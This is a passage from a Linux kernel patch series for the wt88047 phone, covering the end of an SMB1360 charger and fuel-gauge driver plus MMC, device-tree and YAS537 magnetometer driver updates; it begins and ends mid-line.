| S_IRUGO, + chip->debug_root, chip, + &fg_poke_poke_debug_ops); + if (!ent) + dev_err(chip->dev, + "Couldn't create data debug file rc = %d\n", + rc); + + ent = debugfs_create_x32("fg_access_type", + S_IFREG | S_IWUSR | S_IRUGO, + chip->debug_root, + &(chip->fg_access_type)); + if (!ent) + dev_err(chip->dev, + "Couldn't create data debug file rc = %d\n", + rc); + + ent = debugfs_create_x32("skip_writes", + S_IFREG | S_IWUSR | S_IRUGO, + chip->debug_root, + &(chip->skip_writes)); + if (!ent) + dev_err(chip->dev, + "Couldn't create data debug file rc = %d\n", + rc); + + ent = debugfs_create_x32("skip_reads", + S_IFREG | S_IWUSR | S_IRUGO, + chip->debug_root, + &(chip->skip_reads)); + if (!ent) + dev_err(chip->dev, + "Couldn't create data debug file rc = %d\n", + rc); + + ent = debugfs_create_file("irq_count", S_IFREG | S_IRUGO, + chip->debug_root, chip, + &irq_count_debugfs_ops); + if (!ent) + dev_err(chip->dev, + "Couldn't create count debug file rc = %d\n", + rc); + } + + dev_info(chip->dev, "SMB1360 revision=0x%x probe success! batt=%d usb=%d soc=%d\n", + chip->revision, + smb1360_get_prop_batt_present(chip), + chip->usb_present, + smb1360_get_prop_batt_capacity(chip)); + + return 0; + +unregister_batt_psy: + power_supply_unregister(&chip->batt_psy); +fail_hw_init: + regulator_unregister(chip->otg_vreg.rdev); + return rc; +} + +static int smb1360_remove(struct i2c_client *client) +{ + struct smb1360_chip *chip = i2c_get_clientdata(client); + + regulator_unregister(chip->otg_vreg.rdev); + power_supply_unregister(&chip->batt_psy); + mutex_destroy(&chip->charging_disable_lock); + mutex_destroy(&chip->current_change_lock); + mutex_destroy(&chip->read_write_lock); + mutex_destroy(&chip->irq_complete); + debugfs_remove_recursive(chip->debug_root); + + return 0; +} + +static int smb1360_suspend(struct device *dev) +{ + int i, rc; + struct i2c_client *client = to_i2c_client(dev); + struct smb1360_chip *chip = i2c_get_clientdata(client); + + /* Save the current IRQ config */ + for (i = 0; i < 3; i++) { + rc = smb1360_read(chip, IRQ_CFG_REG + i, + &chip->irq_cfg_mask[i]); + if (rc) + pr_err("Couldn't save irq cfg regs rc=%d\n", rc); + } + + /* enable only important IRQs */ + rc = smb1360_write(chip, IRQ_CFG_REG, IRQ_DCIN_UV_BIT + | IRQ_BAT_HOT_COLD_SOFT_BIT + | IRQ_BAT_HOT_COLD_HARD_BIT); + if (rc < 0) + pr_err("Couldn't set irq_cfg rc=%d\n", rc); + + rc = smb1360_write(chip, IRQ2_CFG_REG, IRQ2_BATT_MISSING_BIT + | IRQ2_VBAT_LOW_BIT + | IRQ2_POWER_OK_BIT); + if (rc < 0) + pr_err("Couldn't set irq2_cfg rc=%d\n", rc); + + rc = smb1360_write(chip, IRQ3_CFG_REG, IRQ3_SOC_FULL_BIT + | IRQ3_SOC_MIN_BIT + | IRQ3_SOC_EMPTY_BIT); + if (rc < 0) + pr_err("Couldn't set irq3_cfg rc=%d\n", rc); + + mutex_lock(&chip->irq_complete); + chip->resume_completed = false; + mutex_unlock(&chip->irq_complete); + + return 0; +} + +static int smb1360_suspend_noirq(struct device *dev) +{ + struct i2c_client *client = to_i2c_client(dev); + struct smb1360_chip *chip = i2c_get_clientdata(client); + + if (chip->irq_waiting) { + pr_err_ratelimited("Aborting suspend, an interrupt was detected while suspending\n"); + return -EBUSY; + } + return 0; +} + +static int smb1360_resume(struct device *dev) +{ + int i, rc; + struct i2c_client *client = to_i2c_client(dev); + struct smb1360_chip *chip = i2c_get_clientdata(client); + + /* Restore the IRQ config */ + for (i = 0; i < 3; i++) { + rc = smb1360_write(chip, IRQ_CFG_REG + i, + chip->irq_cfg_mask[i]); + if (rc) + pr_err("Couldn't restore irq cfg regs rc=%d\n", rc); + } + + mutex_lock(&chip->irq_complete); + chip->resume_completed = true; + if (chip->irq_waiting) { + mutex_unlock(&chip->irq_complete); + smb1360_stat_handler(client->irq, chip); + enable_irq(client->irq); + } else { + mutex_unlock(&chip->irq_complete); + } + power_supply_changed(&chip->batt_psy); + return 0; +} + +static void smb1360_shutdown(struct i2c_client *client) +{ + int rc; + struct smb1360_chip *chip = i2c_get_clientdata(client); + + if (chip->shdn_after_pwroff) { + rc = smb1360_poweroff(chip); + if (rc) + pr_err("Couldn't shutdown smb1360, rc = %d\n", rc); + pr_info("smb1360 power off\n"); + } +} + +static const struct dev_pm_ops smb1360_pm_ops = { + .resume = smb1360_resume, + .suspend_noirq = smb1360_suspend_noirq, + .suspend = smb1360_suspend, +}; + +static struct of_device_id smb1360_match_table[] = { + { .compatible = "qcom,smb1360-chg-fg",}, + { }, +}; + +static const struct i2c_device_id smb1360_id[] = { + {"smb1360-chg-fg", 0}, + {}, +}; +MODULE_DEVICE_TABLE(i2c, smb1360_id); + +static struct i2c_driver smb1360_driver = { + .driver = { + .name = "smb1360-chg-fg", + .owner = THIS_MODULE, + .of_match_table = smb1360_match_table, + .pm = &smb1360_pm_ops, + }, + .probe = smb1360_probe, + .remove = smb1360_remove, + .shutdown = smb1360_shutdown, + .id_table = smb1360_id, +}; + +module_i2c_driver(smb1360_driver); + +MODULE_DESCRIPTION("SMB1360 Charger and Fuel Gauge"); +MODULE_LICENSE("GPL v2"); +MODULE_ALIAS("i2c:smb1360-chg-fg"); diff --git a/include/linux/usb/msm_hsusb.h b/include/linux/usb/msm_hsusb.h index 84fecdf0ddefe..9fcf8e4d0fe7b 100644 --- a/include/linux/usb/msm_hsusb.h +++ b/include/linux/usb/msm_hsusb.h @@ -104,7 +104,11 @@ enum msm_usb_phy_type { SNPS_FEMTO_PHY, }; +#ifdef CONFIG_MACH_WT88047 +#define IDEV_CHG_MAX 1050 +#else #define IDEV_CHG_MAX 1500 +#endif #define IDEV_CHG_MIN 500 #define IUNIT 100 From 15232fb6d4c1ccfab47099122e67b4d89340a655 Mon Sep 17 00:00:00 2001 From: Ketut Putu Kumajaya Date: Mon, 7 Mar 2016 23:36:55 +0700 Subject: [PATCH 082/365] mmc: Update from KitKat source drop * Disable sanitize support, longer timeout for SD card Change-Id: Id6eb6f63a23ed75d30b27762058ab19ccc7792d9 --- drivers/mmc/core/bus.c | 4 ++++ drivers/mmc/core/core.c | 2 ++ 2 files changed, 6 insertions(+) diff --git a/drivers/mmc/core/bus.c b/drivers/mmc/core/bus.c index 14f0dfb736fbe..c88b9739e6682 100644 --- a/drivers/mmc/core/bus.c +++ b/drivers/mmc/core/bus.c @@ -444,6 +444,10 @@ int mmc_add_card(struct mmc_card *card) mmc_hostname(card->host), __func__, ret); /* Default timeout is 10 seconds */ card->idle_timeout = RUNTIME_SUSPEND_DELAY_MS; +#ifdef CONFIG_MACH_WT88047 + if (card->type == MMC_TYPE_SD) + card->idle_timeout = 10000000; +#endif } mmc_card_set_present(card); diff --git a/drivers/mmc/core/core.c b/drivers/mmc/core/core.c index af8254d49f3ea..bcccddd41d781 100644 --- a/drivers/mmc/core/core.c +++ b/drivers/mmc/core/core.c @@ -2656,10 +2656,12 @@ EXPORT_SYMBOL(mmc_can_discard); int mmc_can_sanitize(struct mmc_card *card) { +#ifndef CONFIG_MACH_WT88047 if (!mmc_can_trim(card) && !mmc_can_erase(card)) return 0; if (card->ext_csd.sec_feature_support & EXT_CSD_SEC_SANITIZE) return 1; +#endif return 0; } EXPORT_SYMBOL(mmc_can_sanitize); From 7efe10f82b0583df2a3f14d423173730b6f0b788 Mon Sep 17 00:00:00 2001 From: Ketut Putu Kumajaya Date: Tue, 8 Mar 2016 22:32:30 +0700 Subject: [PATCH 083/365] ARM: dts: wt88047: Not sure about this Change-Id: Ic70de6e35fac18c85993ebc8aae5aa6a5d0109fa --- arch/arm/boot/dts/qcom/wt88047/msm8916-wt88047.dtsi | 12 +++++++++++- 1 file changed, 11 insertions(+), 1 deletion(-) diff --git a/arch/arm/boot/dts/qcom/wt88047/msm8916-wt88047.dtsi b/arch/arm/boot/dts/qcom/wt88047/msm8916-wt88047.dtsi index 0c00a80255741..31d0679434ae4 100644 --- a/arch/arm/boot/dts/qcom/wt88047/msm8916-wt88047.dtsi +++ b/arch/arm/boot/dts/qcom/wt88047/msm8916-wt88047.dtsi @@ -35,7 +35,7 @@ }; secure_region@0 { - status = "disabled"; + /* status = "disabled"; */ }; }; }; @@ -124,6 +124,16 @@ }; &pm8916_mpps { + mpp@a100 { + qcom,mode = <4>; + qcom,invert = <0>; + qcom,output-type = <0>; + qcom,vin-sel = <2>; + qcom,src-sel = <0>; + qcom,ain-route = <1>; + qcom,master-en = <1>; + }; + mpp@a300 { /* MPP 4 */ /* Backlight PWM */ qcom,mode = <1>; /* Digital output */ From e3ae3c9fa4f8d8b4641906781fd36bd02cc3c2df Mon Sep 17 00:00:00 2001 From: Ketut Putu Kumajaya Date: Wed, 9 Mar 2016 00:01:52 +0700 Subject: [PATCH 084/365] input: yas537: Update to 1.6.5.1022 version Change-Id: If11b95cbc00fd9fcfcafea311a7b097279a98174 --- drivers/input/misc/yas.h | 157 +++++++- drivers/input/misc/yas_cfg.h | 23 +- drivers/input/misc/yas_mag_drv-yas532.c | 52 ++- drivers/input/misc/yas_mag_drv-yas537.c | 289 +++++++++----- drivers/input/misc/yas_mag_kernel.c | 510 ++++++++++++++---------- 5 files changed, 696 insertions(+), 335 deletions(-) diff --git a/drivers/input/misc/yas.h b/drivers/input/misc/yas.h index 23bacb73afecb..29b215bcbe364 100644 --- a/drivers/input/misc/yas.h +++ b/drivers/input/misc/yas.h @@ -25,7 +25,7 @@ #include "yas_cfg.h" -#define YAS_VERSION "10.2.0d" /*!< MS-x Driver Version */ +#define YAS_VERSION "10.2.4"/*!< MS-x Driver Version */ /* ---------------------------------------------------------------------------- * Typedef definition @@ -216,6 +216,8 @@ #define YAS_TYPE_MAG YAS_TYPE_M_MAG #elif YAS_MAG_DRIVER == YAS_MAG_DRIVER_YAS537 /* MS-3T */ #define YAS_TYPE_MAG YAS_TYPE_M_MAG +#elif YAS_MAG_DRIVER == YAS_MAG_DRIVER_YAS539 /* MS-3S */ +#define YAS_TYPE_MAG YAS_TYPE_M_MAG #elif YAS_MAG_DRIVER == YAS_MAG_DRIVER_YAS53x #define YAS_TYPE_MAG YAS_TYPE_AMG_MAG #endif @@ -264,6 +266,21 @@ /* ---------------------------------------------------------------------------- * Extension Command Definition *--------------------------------------------------------------------------- */ +/*! YAS530 extension command: self test */ +#define YAS530_SELF_TEST (0x00000001) +/*! YAS530 extension command: self test noise */ +#define YAS530_SELF_TEST_NOISE (0x00000002) +/*! YAS530 extension command: obtains the hardware offset */ +#define YAS530_GET_HW_OFFSET (0x00000003) +/*! YAS530 extension command: sets the hardware offset */ +#define YAS530_SET_HW_OFFSET (0x00000004) +/*! YAS530 extension command: obtains last raw data (x, y1, y2, t) */ +#define YAS530_GET_LAST_RAWDATA (0x00000006) +/*! YAS530 extension command: obtains the ellipsoidal correction matrix */ +#define YAS530_GET_STATIC_MATRIX (0x00000007) +/*! YAS530 extension command: sets the ellipsoidal correction matrix */ +#define YAS530_SET_STATIC_MATRIX (0x00000008) + /*! YAS532 extension command: self test */ #define YAS532_SELF_TEST (0x00000001) /*! YAS532 extension command: self test noise */ @@ -274,6 +291,14 @@ #define YAS532_SET_HW_OFFSET (0x00000004) /*! YAS532 extension command: obtains last raw data (x, y1, y2, t) */ #define YAS532_GET_LAST_RAWDATA (0x00000006) +/*! YAS532 extension command: sets the interrupt enable */ +#define YAS532_SET_INTERRUPT_ENABLE (0x00000007) +/*! YAS532 extension command: sets the interrupt active HIGH */ +#define YAS532_SET_INTERRUPT_ACTIVE_HIGH (0x00000008) +/*! YAS532 extension command: obtains the ellipsoidal correction matrix */ +#define YAS532_GET_STATIC_MATRIX (0x00000009) +/*! YAS532 extension command: sets the ellipsoidal correction matrix */ +#define YAS532_SET_STATIC_MATRIX (0x0000000a) /*! YAS535 extension command: obtains last raw data (xy1y2[3] t xyz[3]) */ #define YAS535_GET_LAST_RAWDATA (0x00000001) @@ -319,6 +344,26 @@ #define YAS537_SET_AVERAGE_SAMPLE (0x00000005) /*! YAS537 extension command: obtains the hardware offset */ #define YAS537_GET_HW_OFFSET (0x00000006) +/*! YAS537 extension command: obtains the ellipsoidal correction matrix */ +#define YAS537_GET_STATIC_MATRIX (0x00000007) +/*! YAS537 extension command: sets the ellipsoidal correction matrix */ +#define YAS537_SET_STATIC_MATRIX (0x00000008) +/*! YAS537 extension command: obtains the overflow and underflow threshold */ +#define YAS537_GET_OUFLOW_THRESH (0x00000009) + + +/*! YAS539 extension command: self test */ +#define YAS539_SELF_TEST (0x00000001) +/*! YAS539 extension command: self test noise */ +#define YAS539_SELF_TEST_NOISE (0x00000002) +/*! YAS539 extension command: obtains last raw data (x, y1, y2, t) */ +#define YAS539_GET_LAST_RAWDATA (0x00000003) +/*! YAS539 extension command: obtains the average samples */ +#define YAS539_GET_AVERAGE_SAMPLE (0x00000004) +/*! YAS539 extension command: sets the average samples */ +#define YAS539_SET_AVERAGE_SAMPLE (0x00000005) +/*! YAS539 extension command: obtains the hardware offset */ +#define YAS539_GET_HW_OFFSET (0x00000006) /* ---------------------------------------------------------------------------- * Structure definition @@ -898,7 +943,7 @@ struct yas_acc_mag_gyro_driver { */ struct yas_mag_filter_config { uint8_t len; /*!< Filter length */ - uint16_t noise[3]; /*!< Filter noise X, Y, Z in [nT] */ + uint16_t noise; /*!< Filter noise X, Y, Z in [nT] */ uint16_t threshold; /*!< Filter threshold in [nT] */ }; @@ -991,7 +1036,7 @@ struct yas_mag_calib_result { struct yas_vector offset; /*!< Calibration offset [nT] */ uint16_t spread; /*!< Spread value */ uint16_t variation; /*!< Variation value */ - uint16_t radius; /*!< Magnetic radius [nT] */ + uint32_t radius; /*!< Magnetic radius [nT] */ uint8_t axis; /*!< Update axis */ uint8_t accuracy; /*!< Accuracy [0-3] */ uint8_t level; /*!< The number of sample */ @@ -1218,7 +1263,7 @@ struct yas_mag_avg_config { struct yas_mag_avg_result { int32_t tap_new; /*!< New average filter taps (0:32, 1:64, 2:128, 3:256) */ - int32_t dm; /*!< Median standard deviation */ + int32_t dm; /*!< Median standard deviation */ }; /** @@ -1643,6 +1688,78 @@ struct yas_swgyro { }; #endif +#if YAS_ATTITUDE_FILTER_ENABLE + +struct yas_attitude_filter_result { + struct yas_quaternion quaternion; + struct yas_vector gravity; /*!< Gravity [um/s^2] */ + struct yas_vector linear_acceleration; /*!< Linear acceleration + [um/s^2] */ +}; + +/** + * @struct yas_attitude_filter_config + * @brief Attitude-filter config + */ +struct yas_attitude_filter_config { + int32_t dt; + int32_t gamma; +}; + +/** + * @struct yas_attitude_filter + * @brief Attitude-filter. + */ +struct yas_attitude_filter { + /** + * Initializes the attitude_filter. + * @retval #YAS_NO_ERROR Success + * @retval Negative Failure + */ + int (*init)(void); + /** + * Terminates the attitude-filter. + * @retval #YAS_NO_ERROR Success + * @retval Negative Failure + */ + int (*term)(void); + /** + * Resets the attitude-filter. + * @retval #YAS_NO_ERROR Success + * @retval Negative Failure + */ + int (*reset)(void); + /** + * Updates the attitude-filter. + * @param[in] data Magnetometer and Accelerometer data. + * @retval #YAS_NO_ERROR Success + * @retval Negative Failure + */ + int (*update)(struct yas_data *data, int num); + /** + * Gets a configuration parameter. + * @param[out] c A pointer to the configuration parameter. + * @retval #YAS_NO_ERROR Success + * @retval Negative Failure + */ + int (*get_config)(struct yas_attitude_filter_config *c); + /** + * Sets a configuration parameter. + * @param[in] c A pointer to the configuration parameter. + * @retval #YAS_NO_ERROR Success + * @retval Negative Failure + */ + int (*set_config)(const struct yas_attitude_filter_config *c); + /** + * Gets the last result of attitude-filter. + * @param[out] r Result. + * @retval #YAS_NO_ERROR Success + * @retval Negative Failure + */ + int (*get_result)(struct yas_attitude_filter_result *r); +}; +#endif + #if YAS_LOG_ENABLE /** @@ -1673,7 +1790,18 @@ struct yas_log { }; #endif -#if YAS_MAG_DRIVER == YAS_MAG_DRIVER_YAS532 +#if YAS_MAG_DRIVER == YAS_MAG_DRIVER_YAS530 +struct yas530_self_test_result { + int32_t id; + int8_t xy1y2[3]; + int32_t dir; + int32_t sx, sy; + int32_t xyz[3]; +}; +#endif + +#if YAS_MAG_DRIVER == YAS_MAG_DRIVER_YAS532 \ + || YAS_MAG_DRIVER == YAS_MAG_DRIVER_YAS533 struct yas532_self_test_result { int32_t id; int8_t xy1y2[3]; @@ -1692,6 +1820,15 @@ struct yas537_self_test_result { }; #endif +#if YAS_MAG_DRIVER == YAS_MAG_DRIVER_YAS539 +struct yas539_self_test_result { + int32_t id; + int32_t dir; + int32_t sx, sy; + int32_t xyz[3]; +}; +#endif + #if YAS_MAG_DRIVER == YAS_MAG_DRIVER_YAS535 struct yas535_acc_self_test_result { int dummy; /* TBD */ @@ -1847,6 +1984,16 @@ int yas_sfm_init(struct yas_sfm *f); int yas_swgyro_init(struct yas_swgyro *f); #endif +#if YAS_ATTITUDE_FILTER_ENABLE +/** + * Initializes the filtered-attutde module. + * @param[in,out] f Pointer to yas_attitude_filter struct + * @retval #YAS_NO_ERROR Success + * @retval Negative Number Error + */ +int yas_attitude_filter_init(struct yas_attitude_filter *f); +#endif + #ifdef __cplusplus } #endif diff --git a/drivers/input/misc/yas_cfg.h b/drivers/input/misc/yas_cfg.h index cdb6a0eac408c..79fc45077c472 100644 --- a/drivers/input/misc/yas_cfg.h +++ b/drivers/input/misc/yas_cfg.h @@ -30,6 +30,7 @@ #define YAS_MAG_DRIVER_YAS535 (5) /*!< YAS 535 (MS-6C) */ #define YAS_MAG_DRIVER_YAS536 (6) /*!< YAS 536 (MS-3W) */ #define YAS_MAG_DRIVER_YAS537 (7) /*!< YAS 537 (MS-3T) */ +#define YAS_MAG_DRIVER_YAS539 (8) /*!< YAS 539 (MS-3S) */ #define YAS_MAG_DRIVER_YAS53x (0x7fff) /*!< YAS XXX */ #define YAS_ACC_DRIVER_NONE (0) /*!< No Accelerometer */ @@ -84,6 +85,11 @@ #define YAS_MAG_DRIVER (YAS_MAG_DRIVER_YAS537) #define YAS_GYRO_DRIVER (YAS_GYRO_DRIVER_BMI055) +/*! Magnetic driver interrupt enable (0:Disable, 1: Enable) */ +#define YAS_MAG_DRIVER_INTERRUPT_ENABLE (0) +/*! Magnetic driver interrupt active HIGH (0:active LOW, 1: active HIGH) */ +#define YAS_MAG_DRIVER_ACTIVE_HIGH (0) + /*! Magnetic minimum calibration enable (0:Disable, 1: Enable) */ #define YAS_MAG_CALIB_MINI_ENABLE (0) /*! Magnetic floating point calibration enable (0:Disable, 1: Enable) */ @@ -94,6 +100,7 @@ #define YAS_MAG_CALIB_ELLIPSOID_ENABLE (1) /*! Magnetic calibration with gyroscope enable (0:Disable, 1: Enable) */ #define YAS_MAG_CALIB_WITH_GYRO_ENABLE (1) + #if YAS_MAG_CALIB_MINI_ENABLE #undef YAS_MAG_CALIB_FLOAT_ENABLE #undef YAS_MAG_CALIB_SPHERE_ENABLE @@ -127,11 +134,13 @@ /*! Magnetic average filter enable (0:Disable, 1:Enable) */ #define YAS_MAG_AVERAGE_FILTER_ENABLE (0) /*! step counter enable (0:Disable, 1:Enable) */ -#define YAS_STEPCOUNTER_ENABLE (1) +#define YAS_STEPCOUNTER_ENABLE (0) /*! Significant motion enable (0:Disable, 1:Enable) */ -#define YAS_SIGNIFICANT_MOTION_ENABLE (1) +#define YAS_SIGNIFICANT_MOTION_ENABLE (0) /*! Software gyroscope enable (0:Disable, 1:Enable) */ -#define YAS_SOFTWARE_GYROSCOPE_ENABLE (1) +#define YAS_SOFTWARE_GYROSCOPE_ENABLE (0) +/* Acc and Mag 6 Axis attitude filter enable (0: Disable, 1: Enable) */ +#define YAS_ATTITUDE_FILTER_ENABLE (0) /*! Log enable (0:Disable, 1:Enable) */ #define YAS_LOG_ENABLE (0) /*! Orientation enable (0:Disable, 1:Enable) */ @@ -153,12 +162,8 @@ * Geomagnetic Filter Configuration *--------------------------------------------------------------------------- */ -/*! Geomagnetic adaptive filter noise threshold X (dispersion in [nT]) */ -#define YAS_MAG_DEFAULT_FILTER_NOISE_X (1200) -/*! Geomagnetic adaptive filter noise threshold Y (dispersion in [nT]) */ -#define YAS_MAG_DEFAULT_FILTER_NOISE_Y (1200) -/*! Geomagnetic adaptive filter noise threshold Z (dispersion in [nT]) */ -#define YAS_MAG_DEFAULT_FILTER_NOISE_Z (1200) +/*! Geomagnetic adaptive filter noise threshold (dispersion in [nT]) */ +#define YAS_MAG_DEFAULT_FILTER_NOISE (1800) /*! Geomagnetic adaptive filter length */ #define YAS_MAG_DEFAULT_FILTER_LEN (20) /*! Geomagnetic threshold filter threshold in [nT] */ diff --git a/drivers/input/misc/yas_mag_drv-yas532.c b/drivers/input/misc/yas_mag_drv-yas532.c index d55713197ed0f..7c02aa332e485 100644 --- a/drivers/input/misc/yas_mag_drv-yas532.c +++ b/drivers/input/misc/yas_mag_drv-yas532.c @@ -19,7 +19,6 @@ */ #include "yas.h" -#include #if YAS_MAG_DRIVER == YAS_MAG_DRIVER_YAS532 \ || YAS_MAG_DRIVER == YAS_MAG_DRIVER_YAS533 @@ -43,7 +42,7 @@ #define YAS532_DATA_CENTER (4096) #define YAS532_DATA_UNDERFLOW (0) #define YAS532_DATA_OVERFLOW (8190) -#define YAS532_DEVICE_ID (0x02) /* YAS532 (MS-3R/3F) */ +#define YAS532_DEVICE_ID (0x02) /* YAS532 (MS-3R/3F) */ #define YAS532_TEMP20DEGREE_TYPICAL (390) #define YAS_X_OVERFLOW (0x01) @@ -58,7 +57,7 @@ #define YAS532_MAG_STATE_NORMAL (0) #define YAS532_MAG_STATE_INIT_COIL (1) #define YAS532_MAG_STATE_MEASURE_OFFSET (2) -#define YAS532_MAG_INITCOIL_TIMEOUT (1000) /* msec */ +#define YAS532_MAG_INITCOIL_TIMEOUT (1000) /* msec */ #define YAS532_MAG_TEMPERATURE_LOG (10) #define YAS532_MAG_NOTRANS_POSITION (3) #if YAS532_DRIVER_NO_SLEEP @@ -77,7 +76,7 @@ struct yas_cal_data { int32_t cx, cy1, cy2; int32_t a2, a3, a4, a5, a6, a7, a8, a9, k; }; -#if (1 < YAS532_MAG_TEMPERATURE_LOG) +#if 1 < YAS532_MAG_TEMPERATURE_LOG struct yas_temperature_filter { uint16_t log[YAS532_MAG_TEMPERATURE_LOG]; int num; @@ -98,7 +97,7 @@ struct yas_cdriver { int enable; uint8_t dev_id; const int8_t *transform; -#if (1 < YAS532_MAG_TEMPERATURE_LOG) +#if 1 < YAS532_MAG_TEMPERATURE_LOG struct yas_temperature_filter t; #endif uint32_t current_time; @@ -107,11 +106,14 @@ struct yas_cdriver { int start_flag; int wait_flag; #endif + struct yas_matrix static_matrix; }; static const int yas532_version_ac_coef[] = {YAS532_VERSION_AC_COEF_X, YAS532_VERSION_AC_COEF_Y1, YAS532_VERSION_AC_COEF_Y2}; static const int8_t INVALID_OFFSET[] = {0x7f, 0x7f, 0x7f}; +static const struct yas_matrix no_conversion + = { {10000, 0, 0, 0, 10000, 0, 0, 0, 10000} }; static const int8_t YAS532_TRANSFORMATION[][9] = { { 0, 1, 0, -1, 0, 0, 0, 0, 1 }, {-1, 0, 0, 0, -1, 0, 0, 0, 1 }, @@ -131,6 +133,20 @@ static int yas_single_write(uint8_t addr, uint8_t data) return driver.cbk.device_write(YAS_TYPE_MAG, addr, &data, 1); } +static void apply_matrix(struct yas_vector *xyz, struct yas_matrix *m) +{ + int32_t tmp[3]; + int i; + if (m == NULL) + return; + for (i = 0; i < 3; i++) + tmp[i] = ((m->m[i*3]/10) * (xyz->v[0]/10) + + (m->m[i*3+1]/10) * (xyz->v[1]/10) + + (m->m[i*3+2]/10) * (xyz->v[2]/10)) / 100; + for (i = 0; i < 3; i++) + xyz->v[i] = tmp[i]; +} + static uint32_t curtime(void) { if (driver.cbk.current_time) @@ -340,9 +356,6 @@ static int yas_get_position(void) { if (!driver.initialized) return YAS_ERROR_INITIALIZE; - - printk("%s, position = %d\n", __func__, driver.position); - return driver.position; } @@ -352,9 +365,6 @@ static int yas_set_position(int position) return YAS_ERROR_INITIALIZE; if (position < 0 || 7 < position) return YAS_ERROR_ARG; - - printk("%s, position = %d\n", __func__, position); - if (position == YAS532_MAG_NOTRANS_POSITION) driver.transform = NULL; else @@ -397,7 +407,7 @@ static int yas_measure(struct yas_data *data, int num, int temp_correction, uint16_t t, xy1y2[3]; uint32_t tm; int rt; -#if (1 < YAS532_MAG_TEMPERATURE_LOG) +#if 1 < YAS532_MAG_TEMPERATURE_LOG int32_t sum = 0; #endif *ouflow = 0; @@ -435,7 +445,7 @@ static int yas_measure(struct yas_data *data, int num, int temp_correction, if (measure_normal_yas532(0, 0, &busy, &t, xy1y2, ouflow) < 0) return YAS_ERROR_DEVICE_COMMUNICATION; xy1y2_to_linear(xy1y2, xy1y2_linear); -#if (1 < YAS532_MAG_TEMPERATURE_LOG) +#if 1 < YAS532_MAG_TEMPERATURE_LOG driver.t.log[driver.t.idx++] = t; if (YAS532_MAG_TEMPERATURE_LOG <= driver.t.idx) driver.t.idx = 0; @@ -469,6 +479,7 @@ static int yas_measure(struct yas_data *data, int num, int temp_correction, } set_vector(data->xyz.v, xyz_tmp); } + apply_matrix(&data->xyz, &driver.static_matrix); for (i = 0; i < 3; i++) { data->xyz.v[i] -= data->xyz.v[i] % 10; if (*ouflow & (1<<(i*2))) @@ -581,12 +592,12 @@ static int yas_ext(int32_t cmd, void *p) struct yas532_self_test_result *r; struct yas_data data; int32_t xy1y2_linear[3], *raw_xyz; + int16_t *m; int rt, i, enable, ouflow, position; if (!driver.initialized) return YAS_ERROR_INITIALIZE; if (p == NULL) return YAS_ERROR_ARG; - switch (cmd) { case YAS532_SELF_TEST: r = (struct yas532_self_test_result *) p; @@ -708,6 +719,16 @@ static int yas_ext(int32_t cmd, void *p) for (i = 0; i < 4; i++) ((uint16_t *) p)[i] = driver.last_raw[i]; return YAS_NO_ERROR; + case YAS532_GET_STATIC_MATRIX: + m = (int16_t *) p; + for (i = 0; i < 9; i++) + m[i] = driver.static_matrix.m[i]; + return YAS_NO_ERROR; + case YAS532_SET_STATIC_MATRIX: + m = (int16_t *) p; + for (i = 0; i < 9; i++) + driver.static_matrix.m[i] = m[i]; + return YAS_NO_ERROR; default: break; } @@ -750,7 +771,7 @@ static int yas_init(void) driver.start_flag = 0; driver.wait_flag = 0; #endif -#if (1 < YAS532_MAG_TEMPERATURE_LOG) +#if 1 < YAS532_MAG_TEMPERATURE_LOG driver.t.num = driver.t.idx = 0; #endif driver.current_time = curtime(); @@ -759,6 +780,7 @@ static int yas_init(void) driver.last_raw[i] = 0; } driver.last_raw[3] = 0; + driver.static_matrix = no_conversion; driver.initialized = 1; return YAS_NO_ERROR; } diff --git a/drivers/input/misc/yas_mag_drv-yas537.c b/drivers/input/misc/yas_mag_drv-yas537.c index 01bc010462814..6d89946aa7078 100644 --- a/drivers/input/misc/yas_mag_drv-yas537.c +++ b/drivers/input/misc/yas_mag_drv-yas537.c @@ -19,6 +19,7 @@ */ #include "yas.h" +#include #if YAS_MAG_DRIVER == YAS_MAG_DRIVER_YAS537 @@ -42,7 +43,7 @@ #define YAS537_DATA_UNDERFLOW (0) #define YAS537_DATA_OVERFLOW (16383) -#define YAS537_DEVICE_ID (0x07) /* YAS537 (MS-3T) */ +#define YAS537_DEVICE_ID (0x07) /* YAS537 (MS-3T) */ #define YAS_X_OVERFLOW (0x01) #define YAS_X_UNDERFLOW (0x02) @@ -55,22 +56,25 @@ #define YAS537_MAG_STATE_NORMAL (0) #define YAS537_MAG_STATE_INIT_COIL (1) -#define YAS537_MAG_STATE_RECORD_DATA (2) -#define YAS537_MAG_INITCOIL_TIMEOUT (1000) /* msec */ -#define YAS537_MAG_POWER_ON_RESET_TIME (4000) /* usec */ +#define YAS537_MAG_INITCOIL_TIMEOUT (1000) /* msec */ +#define YAS537_MAG_POWER_ON_RESET_TIME (4000) /* usec */ #define YAS537_MAG_NOTRANS_POSITION (2) -#define YAS537_MAG_AVERAGE_32 (0) -#define YAS537_MAG_AVERAGE_64 (1) -#define YAS537_MAG_AVERAGE_128 (2) -#define YAS537_MAG_AVERAGE_256 (3) +#define YAS537_MAG_AVERAGE_8 (0) +#define YAS537_MAG_AVERAGE_16 (1) +#define YAS537_MAG_AVERAGE_32 (2) +#define YAS537_MAG_AVERAGE_64 (3) +#define YAS537_MAG_AVERAGE_128 (4) +#define YAS537_MAG_AVERAGE_256 (5) + +#define YAS537_MAG_RCOIL_TIME (65) #define set_vector(to, from) \ {int _l; for (_l = 0; _l < 3; _l++) (to)[_l] = (from)[_l]; } struct yas_cal { int8_t a2, a3, a4, a6, a7, a8; - int16_t a5, a9; + int16_t a5, a9, cxy1y2[3]; uint8_t k, ver; }; @@ -92,9 +96,14 @@ struct yas_cdriver { uint16_t last_raw[4]; uint16_t last_after_rcoil[3]; struct yas_cal cal; + int16_t overflow[3], underflow[3]; + struct yas_matrix static_matrix; + int noise_rcoil_flag; }; -static const int measure_time_worst[] = {2000, 4000, 8000, 16000}; +static const struct yas_matrix no_conversion + = { {10000, 0, 0, 0, 10000, 0, 0, 0, 10000} }; +static const int measure_time_worst[] = {800, 1100, 1500, 3000, 6000, 12000}; static const int8_t YAS537_TRANSFORMATION[][9] = { {-1, 0, 0, 0, -1, 0, 0, 0, 1 }, @@ -108,7 +117,10 @@ static const int8_t YAS537_TRANSFORMATION[][9] = { }; static struct yas_cdriver driver; +static int yas_set_enable_wrap(int enable, int rcoil); static int yas_set_enable(int enable); +static int single_read(int ldtc, int fors, int *busy, uint16_t *t, + uint16_t *xy1y2, int *ouflow); static int yas_open(void) { @@ -124,6 +136,20 @@ static int yas_single_write(uint8_t addr, uint8_t data) return driver.cbk.device_write(YAS_TYPE_MAG, 